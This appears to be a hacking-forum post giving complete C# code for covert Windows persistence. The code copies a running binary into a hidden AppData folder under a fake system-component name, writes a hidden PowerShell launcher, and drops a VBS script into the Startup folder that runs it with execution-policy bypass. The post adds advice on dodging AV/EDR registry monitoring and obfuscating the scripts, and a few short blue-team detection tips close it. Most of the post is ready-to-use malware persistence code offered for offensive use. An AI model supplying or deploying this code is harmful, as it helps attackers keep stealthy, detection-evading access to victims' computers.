Py-Dev Threat Intelligence-Ep 3: Persistence
Posted Mar 22, 2025 07:41 AM
![[Image: Ao15uxN.gif]](https://imgur.com/Ao15uxN.gif)
Achieving Windows Persistence Using PowerShell and VBS Scripts
![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
Persistence in any engagement where maintaining access to a system is essential. In this blog post, we’ll look at how you can achieve basic persistence on Windows systems using a combination of PowerShell scripts and VBS droppers. We'll walk through a C# implementation that automates this process.
![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
🔐 Overview
The method uses the following persistence mechanism:
- Copies the original binary to a hidden directory.
- Drops a PowerShell script that relaunches the binary.
- Creates a .vbs script in the user’s Startup folder to trigger the PowerShell script at logon.
- This allows the binary to relaunch automatically every time the user logs in — without modifying the registry or requiring elevated privileges.
![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
💻 The Code (C# Implementation)
Code
using System;
using System.Diagnostics;
using System.IO;
class Copy
{
private static string installBasePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "SystemData");
public static string Install()
{
try
{
Directory.CreateDirectory(installBasePath);
string markerFile = Path.Combine(installBasePath, "installed.txt");
if (File.Exists(markerFile))
{
string oldExePath = File.ReadAllText(markerFile).Trim();
if (!string.IsNullOrEmpty(oldExePath) && File.Exists(oldExePath))
return oldExePath;
}
string targetExe = Path.Combine(installBasePath, GenerateLegitFileName());
string currentProcess = Process.GetCurrentProcess().MainModule.FileName;
File.Copy(currentProcess, targetExe, true);
File.WriteAllText(markerFile, targetExe);
CreatePowerShellAndBatForStartup(targetExe);
return targetExe;
}
catch
{
return null;
}
}
private static string GenerateRandomString(int length)
{
const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Random random = new Random();
char[] stringChars = new char[length];
for (int i = 0; i < length; i++)
stringChars[i] = chars[random.Next(chars.Length)];
return new string(stringChars);
}
private static string GenerateLegitFileName()
{
string[] names = { "ServiceHost", "WinUpdate", "SysHelper", "DataSync" };
string randomSuffix = GenerateRandomString(5);
return $"{names[new Random().Next(names.Length)]}{randomSuffix}.exe";
}
private static void CreatePowerShellAndBatForStartup(string payloadPath)
{
try
{
string startupFolder = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
string psScriptPath = Path.Combine(installBasePath, GenerateRandomString(8) + ".ps1");
string psScriptContent = $"Start-Process -FilePath '{payloadPath}' -WindowStyle Hidden";
File.WriteAllText(psScriptPath, psScriptContent);
string escapedPsScriptPath = psScriptPath.Replace("\\", "\\\\");
string vbsFilePath = Path.Combine(startupFolder, GenerateRandomString(8) + ".vbs");
string vbsContent =
"Set objShell = CreateObject(\"Wscript.Shell\")\n" +
$"objShell.Run \"powershell.exe -ExecutionPolicy Bypass -File \"\"{escapedPsScriptPath}\"\"\", 0, False";
File.WriteAllText(vbsFilePath, vbsContent);
}
catch { }
}
}![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
🧠 What’s Going On?
Persistence Directory
The payload is copied to a hidden directory inside %AppData%\Microsoft\SystemData, a location less likely to be checked by average users or basic AVs.
Marker File
A simple installed.txt marker ensures the code doesn’t copy the payload multiple times.
File Renaming
The binary is renamed to look like a system component (e.x, WinUpdateA7f9.exe) for stealth.
PowerShell Launcher
A .ps1 script is created to run the payload silently (-WindowStyle Hidden).
Startup Trigger via VBS
A .vbs script is dropped into the Startup folder. When the user logs in, it runs the PowerShell script — which launches the payload again.
![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
🛡️ Red Team Notes
No Admin Rights Needed: Everything runs in the current user's context.
No Registry Modification: AV and EDR systems often monitor registry-based persistence. This bypasses that vector entirely.
Obfuscation Potential: Both the .ps1 and .vbs can be obfuscated further to evade detection.
Works on Standard User Accounts: Startup folder access is available to any user, making this tactic viable in restricted environments.
![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
⚠️ Blue Team Tips
- Monitor the Startup folder for new .vbs, .lnk, or .bat files.
- Enable AppLocker or ScriptBlock logging to catch suspicious PowerShell activity.
- Consider tools like Autoruns (Sysinternals) to audit persistence locations.
![[Image: h9AAT39.gif]](https://imgur.com/h9AAT39.gif)
Persistence via script-based Startup folder droppers is still a viable and stealthy method. While it's not novel, its simplicity and effectiveness — especially in userland — make it a great option in red team engagements or malware analysis scenarios.



